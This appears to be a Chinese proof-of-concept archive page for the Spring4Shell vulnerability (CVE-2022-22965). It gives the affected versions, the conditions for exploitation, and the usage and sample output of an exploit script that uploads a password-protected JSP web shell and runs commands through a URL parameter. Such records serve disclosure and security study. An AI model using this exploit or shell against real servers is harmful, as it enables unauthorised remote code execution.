POC详情: 48a0dfb89196a5faf8ce2757233d415fcfcd6ee1

来源
关联漏洞
标题: Spring Framework 代码注入漏洞 (CVE-2022-22965)
描述:Spring Framework是美国Spring团队的一套开源的Java、JavaEE应用程序框架。该框架可帮助开发人员构建高质量的应用。 Spring Framework 存在代码注入漏洞,该漏洞源于 JDK 9+ 上的数据绑定的 RCE。以下产品和版本受到影响:5.3.0 至 5.3.17、5.2.0 至 5.2.19、较旧的和不受支持的版本也会受到影响。
介绍
# Spring4Shell: CVE-2022-22965 RCE

## Java Spring framework RCE vulnerability
These vulnerabilities affects a component "Spring Core" —  the heart of the framework 

**Current conditions for vulnerability:-**

- JDK 9+
- A vulnerable version of the Spring Framework (<5.2 | 5.2.0-19 | 5.3.0-17)
- Apache Tomcat as a server for the Spring application, packaged as a WAR
- A dependency on the spring-webmvc and/or spring-webflux components of the Spring Framework

## The exploit

```python
user@attacker:~$ ./exploit.py --help
usage: exploit.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] url

Spring4Shell RCE Proof of Concept

positional arguments:
  url                   Target URL

optional arguments:
  -h, --help            show this help message and exit
  -f FILENAME, --filename FILENAME
                        Name of the file to upload (Default tomcatwar.jsp)
  -p PASSWORD, --password PASSWORD
                        Password to protect the shell with (Default: thm)
  -d DIRECTORY, --directory DIRECTORY
                        The upload path for the file (Default: ROOT)
```

```python
user@attacker:~$ ./exploit.py http://MACHINE_IP/
Shell Uploaded Successfully!


# OUTPUT= Your shell can be found at: http://MACHINE_IP/tomcatwar.jsp?pwd=thm&cmd=whoami
```
文件快照

[4.0K] /data/pocs/48a0dfb89196a5faf8ce2757233d415fcfcd6ee1 ├── [2.4K] exploit.py └── [1.3K] README.md 0 directories, 2 files
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